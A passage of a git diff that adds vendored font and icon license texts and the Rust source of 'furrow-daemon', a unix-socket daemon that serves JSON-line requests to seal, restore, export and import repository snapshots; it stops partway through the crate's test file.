+ + + + diff --git a/engine/furrow-core/ui/vendor/geist/LICENSE b/engine/furrow-core/ui/vendor/geist/LICENSE new file mode 100644 index 0000000000..98835ac3f0 --- /dev/null +++ b/engine/furrow-core/ui/vendor/geist/LICENSE @@ -0,0 +1,93 @@ +Copyright 2024 The Geist Project Authors (https://github.com/vercel/geist-font) Geist-Italic[wght].ttf: Copyright 2024 The Geist Project Authors (https://github.com/vercel/geist-font) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +http://scripts.sil.org/OFL + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/engine/furrow-core/ui/vendor/lucide/LICENSE b/engine/furrow-core/ui/vendor/lucide/LICENSE new file mode 100644 index 0000000000..718bb3f0e4 --- /dev/null +++ b/engine/furrow-core/ui/vendor/lucide/LICENSE @@ -0,0 +1,43 @@ +ISC License + +Copyright (c) 2026 Lucide Icons and Contributors + +Permission to use, copy, modify, and/or distribute this software for any +purpose with or without fee is hereby granted, provided that the above +copyright notice and this permission notice appear in all copies. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES +WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR +ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN +ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF +OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + +--- + +The following Lucide icons are derived from the Feather project: + +airplay, alert-circle, alert-octagon, alert-triangle, aperture, arrow-down-circle, arrow-down-left, arrow-down-right, arrow-down, arrow-left-circle, arrow-left, arrow-right-circle, arrow-right, arrow-up-circle, arrow-up-left, arrow-up-right, arrow-up, at-sign, calendar, cast, check, chevron-down, chevron-left, chevron-right, chevron-up, chevrons-down, chevrons-left, chevrons-right, chevrons-up, circle, clipboard, clock, code, columns, command, compass, corner-down-left, corner-down-right, corner-left-down, corner-left-up, corner-right-down, corner-right-up, corner-up-left, corner-up-right, crosshair, database, divide-circle, divide-square, dollar-sign, download, external-link, feather, frown, hash, headphones, help-circle, info, italic, key, layout, life-buoy, link-2, link, loader, lock, log-in, log-out, maximize, meh, minimize, minimize-2, minus-circle, minus-square, minus, monitor, moon, more-horizontal, more-vertical, move, music, navigation-2, navigation, octagon, pause-circle, percent, plus-circle, plus-square, plus, power, radio, rss, search, server, share, shopping-bag, sidebar, smartphone, smile, square, table-2, tablet, target, terminal, trash-2, trash, triangle, tv, type, upload, x-circle, x-octagon, x-square, x, zoom-in, zoom-out + +The MIT License (MIT) (for the icons listed above) + +Copyright (c) 2013-present Cole Bemis + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/engine/furrow-daemon/Cargo.toml b/engine/furrow-daemon/Cargo.toml new file mode 100644 index 0000000000..5670199988 --- /dev/null +++ b/engine/furrow-daemon/Cargo.toml @@ -0,0 +1,21 @@ +[package] +name = "furrow-daemon" +version.workspace = true +edition.workspace = true +rust-version.workspace = true +description = "The furrow daemon: one long-lived process holding open repositories behind a unix socket" +license.workspace = true +repository.workspace = true + +[dependencies] +furrow-core = { path = "../furrow-core" } +anyhow.workspace = true +fs2.workspace = true +libc.workspace = true +serde.workspace = true +serde_json.workspace = true + +[dev-dependencies] +tempfile.workspace = true +blake3.workspace = true +hex.workspace = true diff --git a/engine/furrow-daemon/src/handle.rs b/engine/furrow-daemon/src/handle.rs new file mode 100644 index 0000000000..7e7c99b7c2 --- /dev/null +++ b/engine/furrow-daemon/src/handle.rs @@ -0,0 +1,78 @@ +//! One store's open repository: opened on first use, kept for the daemon's +//! life. It lives on the thread that made it (the repository is not `Send`). + +use crate::wire::Target; +use anyhow::Context; +use furrow::model::{ObjectId, SnapshotTrigger}; +use furrow::{FurrowRepository, SealOptions}; +use std::path::PathBuf; + +pub struct Handle { + target: Target, + repo: Option, +} + +impl Handle { + pub fn new(target: Target) -> Self { + Self { target, repo: None } + } + + pub fn target(&self) -> &Target { + &self.target + } + + /// Closes the open repository. A verb that changes the store behind its + /// back calls this, so the next verb opens the store as it now is. + pub fn release(&mut self) { + self.repo = None; + } + + /// The open repository, opened on first use. The workspace must already + /// be attached: only a seal attaches. + pub fn repo(&mut self) -> anyhow::Result<&mut FurrowRepository> { + if self.repo.is_none() { + let target = &self.target; + let repo = FurrowRepository::open_composed_in( + &target.data_dir, + &target.tree, + target.cell_dir.clone(), + ) + .context("open store")?; + self.repo = Some(repo); + } + Ok(self.repo.as_mut().expect("opened above")) + } + + /// Seals the tree, attaching it first when this store has not seen it. + pub fn seal( + &mut self, + label: String, + changed: Option>, + ) -> anyhow::Result { + match self.repo.as_mut() { + Some(repo) => repo.seal(Some(label), SnapshotTrigger::AgentRun, changed.as_deref()), + None => self.attach_and_seal(label, changed), + } + } + + fn attach_and_seal( + &mut self, + label: String, + changed: Option>, + ) -> anyhow::Result { + let target = &self.target; + let options = SealOptions { + changed, + overlay: target.cell_dir.clone(), + }; + let (repo, id) = FurrowRepository::attach_and_seal_in( + &target.data_dir, + &target.tree, + Some(label), + SnapshotTrigger::AgentRun, + options, + )?; + self.repo = Some(repo); + Ok(id) + } +} diff --git a/engine/furrow-daemon/src/lib.rs b/engine/furrow-daemon/src/lib.rs new file mode 100644 index 0000000000..3f0f741621 --- /dev/null +++ b/engine/furrow-daemon/src/lib.rs @@ -0,0 +1,19 @@ +//! The furrow daemon. +//! +//! One process holds one open repository per store and answers requests on a +//! unix socket, so a seal pays neither the store open nor the catalog replay +//! that a spawn per seal pays. The wire is one JSON object per line +//! ([`wire`]); the operations are the [`verbs`]; a [`router::Router`] gives +//! every store one writer thread while different stores run in parallel; the +//! [`server::Server`] owns the socket, the idle clock and shutdown. + +pub mod handle; +pub mod router; +pub mod server; +pub mod signals; +pub mod verbs; +pub mod wire; + +pub use server::{Config, Server, Stop}; +pub use verbs::hook_label; +pub use wire::{Request, Response, Target}; diff --git a/engine/furrow-daemon/src/router.rs b/engine/furrow-daemon/src/router.rs new file mode 100644 index 0000000000..c8321fd3d0 --- /dev/null +++ b/engine/furrow-daemon/src/router.rs @@ -0,0 +1,98 @@ +//! Routes a request to its store's writer. Each store has one thread that owns +//! its open repository and runs that store's requests one at a time; requests +//! for different stores run in parallel on their own threads. + +use crate::handle::Handle; +use crate::verbs::Verb; +use crate::wire::Target; +use anyhow::anyhow; +use serde_json::{json, Value}; +use std::collections::HashMap; +use std::sync::mpsc::{channel, Sender}; +use std::sync::Mutex; +use std::thread::JoinHandle; + +struct Job { + verb: &'static dyn Verb, + args: Value, + reply: Sender>, +} + +struct Writer { + jobs: Sender, + thread: JoinHandle<()>, +} + +impl Writer { + fn spawn(target: Target) -> Self { + let (jobs, inbox) = channel::(); + let thread = std::thread::spawn(move || { + let mut handle = Handle::new(target); + for job in inbox { + let _ = job.reply.send(job.verb.run(&mut handle, job.args)); + } + }); + Self { jobs, thread } + } +} + +/// `None` once closed: no new writer starts and every request is refused. +pub struct Router { + writers: Mutex>>, +} + +impl Router { + /// The fields start as "no writers yet", so the blank state is exactly + /// `new()`; the attribute keeps that fact one lint away from the gate. + #[allow(clippy::new_without_default)] + pub fn new() -> Self { + Self { + writers: Mutex::new(Some(HashMap::new())), + } + } + + /// Runs the verb on the target's writer and waits for its answer. + pub fn submit( + &self, + target: Target, + verb: &'static dyn Verb, + args: Value, + ) -> anyhow::Result { + let (reply, answer) = channel(); + self.writer_inbox(target)? + .send(Job { verb, args, reply }) + .map_err(|_| anyhow!("store writer stopped"))?; + answer.recv().map_err(|_| anyhow!("store writer stopped"))? + } + + fn writer_inbox(&self, target: Target) -> anyhow::Result> { + let mut guard = self.writers.lock().expect("router lock"); + let writers = guard + .as_mut() + .ok_or_else(|| anyhow!("daemon is stopping"))?; + let writer = writers + .entry(target.clone()) + .or_insert_with(|| Writer::spawn(target)); + Ok(writer.jobs.clone()) + } + + pub fn health(&self) -> Value { + let stores = self + .writers + .lock() + .expect("router lock") + .as_ref() + .map(HashMap::len); + json!({"pid": std::process::id(), "stores": stores.unwrap_or(0)}) + } + + /// Refuses new work, lets every in-flight request finish, and drops every + /// open repository. + pub fn close(&self) { + let writers = self.writers.lock().expect("router lock").take(); + for (_, writer) in writers.unwrap_or_default() { + drop(writer.jobs); + let _ = writer.thread.join(); + } + } +} diff --git a/engine/furrow-daemon/src/server.rs b/engine/furrow-daemon/src/server.rs new file mode 100644 index 0000000000..d544b79e5f --- /dev/null +++ b/engine/furrow-daemon/src/server.rs @@ -0,0 +1,239 @@ +//! The socket, the idle clock and shutdown. + +use crate::router::Router; +use crate::verbs; +use crate::wire::{self, Request, Response}; +use anyhow::Context; +use fs2::FileExt; +use std::fs::{self, File, OpenOptions}; +use std::io::BufReader; +use std::os::fd::AsRawFd; +use std::os::unix::fs::PermissionsExt; +use std::os::unix::net::{UnixListener, UnixStream}; +use std::path::{Path, PathBuf}; +use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering}; +use std::sync::{Arc, Mutex}; +use std::time::{Duration, Instant}; + +const TICK: Duration = Duration::from_millis(50); + +#[derive(Debug, Clone)] +pub struct Config { + pub socket: PathBuf, + /// The daemon exits after this long with no connection and no request. + pub idle: Duration, +} + +/// Asks a running server to finish and return. +#[derive(Clone, Default)] +pub struct Stop(Arc); + +impl Stop { + pub fn stop(&self) { + self.0.store(true, Ordering::SeqCst); + } + + fn requested(&self) -> bool { + self.0.load(Ordering::SeqCst) || crate::signals::received() + } +} + +/// Connections open now and when the last request finished. +struct Activity { + open: AtomicUsize, + last: Mutex, +} + +impl Activity { + fn touch(&self) { + *self.last.lock().expect("activity lock") = Instant::now(); + } + + fn idle_for(&self) -> Option { + let quiet = self.open.load(Ordering::SeqCst) == 0; + quiet.then(|| self.last.lock().expect("activity lock").elapsed()) + } +} + +pub struct Server { + listener: UnixListener, + config: Config, + stop: Stop, + router: Arc, + activity: Arc, + // Held for the daemon's life: one daemon per socket. + _lock: File, +} + +impl Server { + /// Takes the socket's lock and binds it, owner-only. `Ok(None)` means + /// another daemon already serves this socket. + pub fn bind(config: Config) -> anyhow::Result> { + let dir = config.socket.parent().context("socket has no directory")?; + fs::create_dir_all(dir)?; + fs::set_permissions(dir, fs::Permissions::from_mode(0o700))?; + let Some(lock) = take_lock(&config.socket)? else { + return Ok(None); + }; + let _ = fs::remove_file(&config.socket); + let listener = UnixListener::bind(&config.socket).context("bind socket")?; + fs::set_permissions(&config.socket, fs::Permissions::from_mode(0o600))?; + listener.set_nonblocking(true)?; + Ok(Some(Self { + listener, + config, + stop: Stop::default(), + router: Arc::new(Router::new()), + activity: Arc::new(Activity { + open: AtomicUsize::new(0), + last: Mutex::new(Instant::now()), + }), + _lock: lock, + })) + } + + pub fn stop_handle(&self) -> Stop { + self.stop.clone() + } + + /// Serves until stopped, signalled or idle, then finishes in-flight + /// requests, closes every repository and removes the socket. + pub fn run(self) -> anyhow::Result<()> { + while !self.should_exit() { + self.wait_for_client(); + self.accept_pending(); + } + self.router.close(); + let _ = fs::remove_file(&self.config.socket); + Ok(()) + } + + fn should_exit(&self) -> bool { + let idle = self.activity.idle_for(); + self.stop.requested() || idle.is_some_and(|quiet| quiet >= self.config.idle) + } + + /// Sleeps until a client connects or a tick passes, whichever is first, so + /// a connection is accepted at once and the exit conditions are still + /// looked at every tick. + fn wait_for_client(&self) { + let mut waiting = libc::pollfd { + fd: self.listener.as_raw_fd(), + events: libc::POLLIN, + revents: 0, + }; + // SAFETY: one valid pollfd, and the descriptor outlives the call. + unsafe { libc::poll(&mut waiting, 1, TICK.as_millis() as libc::c_int) }; + } + + fn accept_pending(&self) { + while let Ok((stream, _)) = self.listener.accept() { + self.activity.open.fetch_add(1, Ordering::SeqCst); + let session = Session { + router: Arc::clone(&self.router), + activity: Arc::clone(&self.activity), + stop: self.stop.clone(), + }; + std::thread::spawn(move || session.serve(stream)); + } + } +} + +fn take_lock(socket: &Path) -> anyhow::Result> { + let mut name = socket.as_os_str().to_owned(); + name.push(".lock"); + let file = OpenOptions::new() + .create(true) + .truncate(false) + .write(true) + .open(PathBuf::from(name))?; + Ok(file.try_lock_exclusive().is_ok().then_some(file)) +} + +/// One client connection: requests in, answers out, in order. +struct Session { + router: Arc, + activity: Arc, + stop: Stop, +} + +impl Session { + fn serve(self, stream: UnixStream) { + let _ = stream.set_nonblocking(false); + let _ = self.exchange(&stream); + self.activity.touch(); + self.activity.open.fetch_sub(1, Ordering::SeqCst); + } + + /// Ends when the client hangs up or a write fails; a client that dies + /// mid-request leaves the request to finish and its answer unread. + fn exchange(&self, stream: &UnixStream) -> std::io::Result<()> { + let mut reader = BufReader::new(stream); + let mut writer = stream; + while let Some(line) = wire::read_line(&mut reader)? { + let response = self.answer(&line); + self.activity.touch(); + wire::write_response(&mut writer, &response)?; + } + Ok(()) + } + + fn answer(&self, line: &str) -> Response { + match wire::parse_request(line) { + Ok(request) => self.respond(request), + Err(refusal) => refusal, + } + } + + fn respond(&self, request: Request) -> Response { + let id = request.id; + match self.dispatch(request) { + Ok(value) => Response::ok(id, value), + Err(error) => Response::err(id, format!("{error:#}")), + } + } + + /// What a client needs to know before trusting this daemon: who it is. The + /// engine name is the running binary's file name, which the client's + /// installer already makes unique per build, so an old daemon left over + /// from an upgrade is recognised without comparing version numbers. + fn health(&self) -> serde_json::Value { + let mut health = self.router.health(); + health["version"] = env!("CARGO_PKG_VERSION").into(); + health["engine"] = engine_name().into(); + health + } + + /// The verbs about the daemon itself, which need no store. + fn control(&self, verb: &str) -> Option { + match verb { + "health" => Some(self.health()), + "shutdown" => { + self.stop.stop(); + Some(serde_json::json!({"stopping": true})) + } + _ => None, + } + } + + fn dispatch(&self, request: Request) -> anyhow::Result { + if let Some(answer) = self.control(&request.verb) { + return Ok(answer); + } + let verb = verbs::lookup(&request.verb) + .with_context(|| format!("unknown verb {:?}", request.verb))?; + let target = request.target.context("verb needs a target")?; + self.router.submit(target, verb, request.args) + } +} + +/// The file name of the running engine, empty when the OS will not say. +fn engine_name() -> String { + std::env::current_exe() + .ok() + .and_then(|path| { + path.file_name() + .map(|name| name.to_string_lossy().into_owned()) + }) + .unwrap_or_default() +} diff --git a/engine/furrow-daemon/src/signals.rs b/engine/furrow-daemon/src/signals.rs new file mode 100644 index 0000000000..32eafde562 --- /dev/null +++ b/engine/furrow-daemon/src/signals.rs @@ -0,0 +1,23 @@ +//! Termination signals as a flag the serving loop polls. + +use std::sync::atomic::{AtomicBool, Ordering}; + +static RECEIVED: AtomicBool = AtomicBool::new(false); + +extern "C" fn note(_: libc::c_int) { + RECEIVED.store(true, Ordering::SeqCst); +} + +/// From now on SIGTERM and SIGINT set [`received`] instead of killing the +/// process, so the daemon can finish what it is doing. +pub fn install() { + let handler = note as extern "C" fn(libc::c_int) as libc::sighandler_t; + for signal in [libc::SIGTERM, libc::SIGINT] { + // SAFETY: the handler only stores to an atomic. + unsafe { libc::signal(signal, handler) }; + } +} + +pub fn received() -> bool { + RECEIVED.load(Ordering::SeqCst) +} diff --git a/engine/furrow-daemon/src/verbs.rs b/engine/furrow-daemon/src/verbs.rs new file mode 100644 index 0000000000..ce3d6c73c0 --- /dev/null +++ b/engine/furrow-daemon/src/verbs.rs @@ -0,0 +1,318 @@ +//! The operations a client can ask for. A verb reads its own arguments and +//! answers a JSON value; the daemon knows verbs only through [`Verb`]. + +use crate::handle::Handle; +use anyhow::Context; +use furrow::exchange::keys::parse_secret; +use furrow::exchange::ops::{self, ImportMode}; +use furrow::model::id_hex; +use furrow::sealer::Keys; +use serde::Deserialize; +use serde_json::{json, Value}; +use std::path::PathBuf; + +pub trait Verb: Sync { + fn name(&self) -> &'static str; + fn run(&self, handle: &mut Handle, args: Value) -> anyhow::Result; +} + +/// Every verb that works on a store. +pub fn lookup(name: &str) -> Option<&'static dyn Verb> { + const VERBS: [&dyn Verb; 9] = [ + &Seal, + &Snap, + &Restore, + &Log, + &Export, + &Published, + &Want, + &Import, + &Materialize, + ]; + VERBS.into_iter().find(|verb| verb.name() == name) +} + +fn args Deserialize<'de>>(value: Value) -> anyhow::Result { + serde_json::from_value(value).context("bad arguments") +} + +/// The label a turn-end seal carries; the command line builds the same one. +pub fn hook_label(event: &str, agent: &str, turn: Option<&str>, tool: Option<&str>) -> String { + let mut label = format!("hook {event} agent={agent}"); + for (key, value) in [("turn", turn), ("tool", tool)] { + if let Some(value) = value { + label.push_str(&format!(" {key}={value}")); + } + } + label +} + +struct Seal; + +#[derive(Deserialize)] +struct SealArgs { + #[serde(default = "default_agent")] + agent: String, + #[serde(default)] + turn: Option, + /// Null walks the tree; a list visits only those paths. + #[serde(default)] + changed: Option>, +} + +fn default_agent() -> String { + "agent".to_owned() +} + +impl Verb for Seal { + fn name(&self) -> &'static str { + "seal" + } + + fn run(&self, handle: &mut Handle, value: Value) -> anyhow::Result { + let a: SealArgs = args(value)?; + let label = hook_label("turn-end", &a.agent, a.turn.as_deref(), None); + let id = handle.seal(label.clone(), a.changed)?; + Ok(json!({"event": "turn-end", "label": label, "snapshot": id_hex(&id)})) + } +} + +struct Snap; + +#[derive(Deserialize)] +struct SnapArgs { + #[serde(default)] + message: Option, +} + +impl Verb for Snap { + fn name(&self) -> &'static str { + "snap" + } + + fn run(&self, handle: &mut Handle, value: Value) -> anyhow::Result { + let a: SnapArgs = args(value)?; + let manual = furrow::model::SnapshotTrigger::Manual; + let id = handle.repo()?.snapshot(a.message, manual)?; + Ok(json!({"snapshot": id_hex(&id)})) + } +} + +struct Restore; + +#[derive(Deserialize)] +struct RestoreArgs { + snapshot: String, + #[serde(default)] + paths: Vec, + #[serde(default)] + sqlite_consistent: bool, +} + +impl Verb for Restore { + fn name(&self) -> &'static str { + "restore" + } + + fn run(&self, handle: &mut Handle, value: Value) -> anyhow::Result { + let a: RestoreArgs = args(value)?; + let repo = handle.repo()?; + let target = repo.resolve_snapshot(&a.snapshot)?; + let plan = repo.plan_rewind(&target, &a.paths)?; + if plan.changes.is_empty() { + return Ok(json!({"restored": id_hex(&target), "changes": 0})); + } + let (pre, applied) = repo + .rewind(&target, &a.paths, a.sqlite_consistent) + .context("rewind failed")?; + Ok(json!({ + "restored": applied.target, + "pre_rewind_snapshot": id_hex(&pre), + "changes": applied.changes.len(), + })) + } +} + +struct Log; + +#[derive(Deserialize)] +struct LogArgs { + #[serde(default = "default_limit")] + limit: usize, +} + +fn default_limit() -> usize { + 20 +} + +impl Verb for Log { + fn name(&self) -> &'static str { + "log" + } + + fn run(&self, handle: &mut Handle, value: Value) -> anyhow::Result { + let a: LogArgs = args(value)?; + Ok(serde_json::to_value(handle.repo()?.timeline(a.limit)?)?) + } +} + +/// Arguments that carry the identity's secrets. A failure to read them says +/// only that they are bad: serde's own message can quote the offending value. +fn secret_args Deserialize<'de>>(value: Value) -> anyhow::Result { + serde_json::from_value(value).map_err(|_| anyhow::anyhow!("bad arguments")) +} + +/// The two secrets as they arrive over the socket. Never logged, never written. +#[derive(Deserialize)] +struct KeyArgs { + #[serde(default)] + cell_key: Option, + #[serde(default)] + dedup: Option, +} + +impl KeyArgs { + fn keys(self) -> anyhow::Result { + Ok(Keys { + cell_key: parse_secret("cell_key", self.cell_key)?, + dedup: parse_secret("dedup", self.dedup)?, + }) + } +} + +struct Export; + +#[derive(Deserialize)] +struct ExportArgs { + head: String, + outbox: PathBuf, + ledger: String, + #[serde(default = "default_max_frame")] + max_frame: usize, + #[serde(flatten)] + keys: KeyArgs, +} + +fn default_max_frame() -> usize { + furrow::exchange::export::DEFAULT_MAX_FRAME +} + +impl Verb for Export { + fn name(&self) -> &'static str { + "export" + } + + fn run(&self, handle: &mut Handle, value: Value) -> anyhow::Result { + let a: ExportArgs = secret_args(value)?; + let data_dir = &handle.target().data_dir; + ops::export( + data_dir, + &a.keys.keys()?, + &a.head, + &a.ledger, + &a.outbox, + a.max_frame, + ) + } +} + +struct Published; + +#[derive(Deserialize)] +struct PublishedArgs { + ledger: String, + frames: Vec, +} + +impl Verb for Published { + fn name(&self) -> &'static str { + "published" + } + + fn run(&self, handle: &mut Handle, value: Value) -> anyhow::Result { + let a: PublishedArgs = args(value)?; + ops::record_published(&handle.target().data_dir, &a.ledger, &a.frames) + } +} + +struct Want; + +#[derive(Deserialize)] +struct WantArgs { + head: String, + #[serde(flatten)] + keys: KeyArgs, +} + +impl Verb for Want { + fn name(&self) -> &'static str { + "want" + } + + fn run(&self, handle: &mut Handle, value: Value) -> anyhow::Result { + let a: WantArgs = secret_args(value)?; + ops::wanted(&handle.target().data_dir, &a.keys.keys()?, &a.head) + } +} + +struct Import; + +#[derive(Deserialize)] +struct ImportArgs { + head: String, + inbox: PathBuf, + ledger: String, + /// Priming mode: unwanted inbox files are deleted, not an error. + #[serde(default)] + primed: bool, + /// Streaming mode: leftovers stay, an incomplete take is not an error. + #[serde(default)] + partial: bool, + #[serde(flatten)] + keys: KeyArgs, +} + +impl Verb for Import { + fn name(&self) -> &'static str { + "import" + } + + fn run(&self, handle: &mut Handle, value: Value) -> anyhow::Result { + let a: ImportArgs = secret_args(value)?; + ops::import( + &handle.target().data_dir, + &a.keys.keys()?, + &a.head, + &a.ledger, + &a.inbox, + ImportMode::from_flags(a.primed, a.partial)?, + ) + } +} + +struct Materialize; + +#[derive(Deserialize)] +struct MaterializeArgs { + head: String, +} + +impl Verb for Materialize { + fn name(&self) -> &'static str { + "materialize" + } + + /// Materializing moves the workspace head on disk, so the cached + /// repository is dropped and the next verb reopens the store. + fn run(&self, handle: &mut Handle, value: Value) -> anyhow::Result { + let a: MaterializeArgs = args(value)?; + handle.release(); + let target = handle.target(); + ops::restore_head( + &target.data_dir, + &target.tree, + target.cell_dir.clone(), + &a.head, + ) + } +} diff --git a/engine/furrow-daemon/src/wire.rs b/engine/furrow-daemon/src/wire.rs new file mode 100644 index 0000000000..5ab134ea1d --- /dev/null +++ b/engine/furrow-daemon/src/wire.rs @@ -0,0 +1,98 @@ +//! The wire: one JSON object per line, request id and `V` on every message +//! (law L11), the same envelope shape as the harness's own wire. + +use serde::{Deserialize, Serialize}; +use serde_json::Value; +use std::io::{BufRead, Read, Write}; +use std::path::PathBuf; + +/// The protocol version carried by every message. +pub const VERSION: u16 = 1; + +/// The longest frame read: a longer line is a broken or hostile peer. +const MAX_FRAME: u64 = 16 << 20; + +/// The store a request works on: the engine's data directory, the tree it +/// seals, and the directory composed in as the tree's `.cell/` entry. +#[derive(Debug, Clone, PartialEq, Eq, Hash, Deserialize)] +pub struct Target { + pub data_dir: PathBuf, + pub tree: PathBuf, + #[serde(default)] + pub cell_dir: Option, +} + +#[derive(Debug, Deserialize)] +pub struct Request { + #[serde(rename = "V")] + pub v: u16, + pub id: u64, + pub verb: String, + #[serde(default)] + pub target: Option, + #[serde(default)] + pub args: Value, +} + +#[derive(Debug, Serialize, Deserialize, PartialEq)] +pub struct Response { + #[serde(rename = "V")] + pub v: u16, + pub id: u64, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub ok: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub err: Option, +} + +impl Response { + pub fn ok(id: u64, value: Value) -> Self { + Self { + v: VERSION, + id, + ok: Some(value), + err: None, + } + } + + pub fn err(id: u64, message: String) -> Self { + Self { + v: VERSION, + id, + ok: None, + err: Some(message), + } + } +} + +/// Reads the next line. `None` is a clean end of stream; a final line without +/// its newline is a torn write and is not a request. +pub fn read_line(reader: &mut impl BufRead) -> std::io::Result> { + let mut line = String::new(); + let read = reader.take(MAX_FRAME).read_line(&mut line)?; + if read == 0 || !line.ends_with('\n') { + return Ok(None); + } + Ok(Some(line)) +} + +pub fn write_response(writer: &mut impl Write, response: &Response) -> std::io::Result<()> { + let mut line = serde_json::to_vec(response)?; + line.push(b'\n'); + writer.write_all(&line)?; + writer.flush() +} + +/// The answer to a line, whatever the line was: a malformed request is an +/// error response with id 0, never a dropped connection. +pub fn parse_request(line: &str) -> Result { + let request: Request = + serde_json::from_str(line).map_err(|e| Response::err(0, format!("bad request: {e}")))?; + if request.v != VERSION { + return Err(Response::err( + request.id, + format!("protocol V {} not supported (V {VERSION})", request.v), + )); + } + Ok(request) +} diff --git a/engine/furrow-daemon/tests/serve.rs b/engine/furrow-daemon/tests/serve.rs new file mode 100644 index 0000000000..6375f3e304 --- /dev/null +++ b/engine/furrow-daemon/tests/serve.rs @@ -0,0 +1,308 @@ +use furrow_daemon::{Config, Server, Stop}; +use serde_json::{json, Value}; +use std::fs; +use std::io::{BufRead, BufReader, Write}; +use std::os::unix::fs::PermissionsExt; +use std::os::unix::net::UnixStream; +use std::path::{Path, PathBuf}; +use std::thread::JoinHandle; +use std::time::Duration; +use tempfile::TempDir; + +struct Daemon { + dir: TempDir, + stop: Stop, + thread: Option>, +} + +impl Daemon { + fn start(idle: Duration) -> Self { + let dir = TempDir::new().unwrap(); + let config = Config { + socket: dir.path().join("run").join("furrow.sock"), + idle, + }; + let server = Server::bind(config).unwrap().expect("first daemon binds"); + let stop = server.stop_handle(); + let thread = std::thread::spawn(move || server.run().unwrap()); + Self { + dir, + stop, + thread: Some(thread), + } + } + + fn socket(&self) -> PathBuf { + self.dir.path().join("run").join("furrow.sock") + } + + fn connect(&self) -> Client { + let stream = UnixStream::connect(self.socket()).unwrap(); + Client { + reader: BufReader::new(stream.try_clone().unwrap()), + stream, + next: 1, + } + } + + /// A store and a tree that belong together, under this daemon's directory. + fn store(&self, name: &str) -> Store { + let tree = self.dir.path().join(name).join("tree"); + fs::create_dir_all(&tree).unwrap(); + Store { + data_dir: 